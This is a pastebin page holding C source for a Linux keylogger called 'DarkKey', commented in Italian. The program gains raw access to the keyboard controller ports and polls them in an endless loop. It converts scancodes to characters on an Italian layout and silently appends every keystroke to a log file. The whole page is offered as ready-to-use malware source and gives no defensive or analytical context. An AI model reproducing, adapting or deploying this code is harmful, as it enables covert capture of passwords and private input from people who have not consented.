KinG-InFeT.NeT ~ No-Paste

Titolo: DarkKey Linux userspace's keylogger Autore: BlackLight Data: 20.09.09 Numero Linee:    
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <asm/io.h>
  5.  
  6. #define KB_IO   0x60
  7. #define KB_STATUS       0x64
  8. #define SLEEP_T 50
  9.  
  10. // Funzione per la conversione di un carattere letto
  11.  
  12. // dal registro della tastiera in un carattere ASCII
  13.  
  14. const char get_key(int code)  {
  15.         // Se il carattere corrisponde a una cifra, lo converto
  16.  
  17.         // nella cifra ASCII corrispondente
  18.  
  19.         if ((code>=2) && (code<=10))
  20.                 return (char) code+29;
  21.  
  22.         // Switch sulle altre possibilità
  23.  
  24.         switch (code)  {
  25.                 case(11):        return '0'; break;
  26.                 case(12):        return '\'';break;
  27.                 case(13):        return 'ì'; break;
  28.                 case(15):        return '\t';break;
  29.                 case(16):        return 'q'; break;
  30.                 case(17):        return 'w'; break;
  31.                 case(18):        return 'e'; break;
  32.                 case(19):        return 'r'; break;
  33.                 case(20):        return 't'; break;
  34.                 case(21):        return 'y'; break;
  35.                 case(22):        return 'u'; break;
  36.                 case(23):        return 'i'; break;
  37.                 case(24):        return 'o'; break;
  38.                 case(25):        return 'p'; break;
  39.                 case(27):        return '+'; break;
  40.                 case(28):        return '\n';break;
  41.                 case(30):        return 'a'; break;
  42.                 case(31):        return 's'; break;
  43.                 case(32):        return 'd'; break;
  44.                 case(33):        return 'f'; break;
  45.                 case(34):        return 'g'; break;
  46.                 case(35):        return 'h'; break;
  47.                 case(36):        return 'j'; break;
  48.                 case(37):        return 'k'; break;
  49.                 case(38):        return 'l'; break;
  50.                 case(39):        return 'ò'; break;
  51.                 case(40):        return 'à'; break;
  52.                 case(44):        return 'z'; break;
  53.                 case(45):        return 'x'; break;
  54.                 case(46):        return 'c'; break;
  55.                 case(47):        return 'v'; break;
  56.                 case(48):        return 'b'; break;
  57.                 case(49):        return 'n'; break;
  58.                 case(50):        return 'm'; break;
  59.                 case(51):        return ','; break;
  60.                 case(52):        return '.'; break;
  61.                 case(53):        return '-'; break;
  62.                 case(57):                 return ' '; break;
  63.         }
  64.  
  65.         // Se il carattere non è riconosciuto, ritorno 0
  66.  
  67.         return 0;
  68. }
  69.  
  70. int main (int argc, char **argv)  {
  71.         int lastcode=0,code=0;
  72.         FILE *fp;
  73.  
  74.         // Se non è specificato il file di log, esco
  75.  
  76.         if (argc!=2)  {
  77.                 printf ("%s <logfile>\n",argv[0]);
  78.                 return 1;
  79.         }
  80.  
  81.         // Se il file di log non è scrivibile, esco
  82.  
  83.         if (!(fp=fopen(argv[1],"a")))  {
  84.                 printf ("Impossibile scrivere su %s\n",argv[0]);
  85.                 return 2;
  86.         }
  87.  
  88.         // Se non posso aprire tramite ioperm() il registro della
  89.  
  90.         // tastiera o il registro di status, esco
  91.  
  92.         if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1)  {
  93.                 printf ("Impossibile accedere alla porta di I/O della tastiera\n");
  94.                 return 3;
  95.         }
  96.  
  97.         // Ciclo di lettura con un intervallo di tempo
  98.  
  99.         // tra una lettura e l'altra costante
  100.  
  101.         while(1)  {
  102.                 code=0;
  103.  
  104.                 // Se la tastiera 'ha parlato', leggo il valore inserito
  105.  
  106.                 if (inb(KB_STATUS)==20)
  107.                         code=inb(KB_IO);
  108.  
  109.                 // Se è un carattere leggibile, lo converto in ASCII e lo stampo
  110.  
  111.                 // sul log
  112.  
  113.                 if (code)  {
  114.                         if (code!=lastcode)  {
  115.                                 lastcode=code;
  116.  
  117.                                 if (get_key(code))  {
  118.                                         fprintf (fp,"%c",get_key(code));
  119.                                         fflush (fp);
  120.                                 }
  121.                         }
  122.                 }
  123.  
  124.                 usleep(SLEEP_T);
  125.         }
  126. }


Powered By 0xPaste
Versione: v1.6



[-Administration Panel-]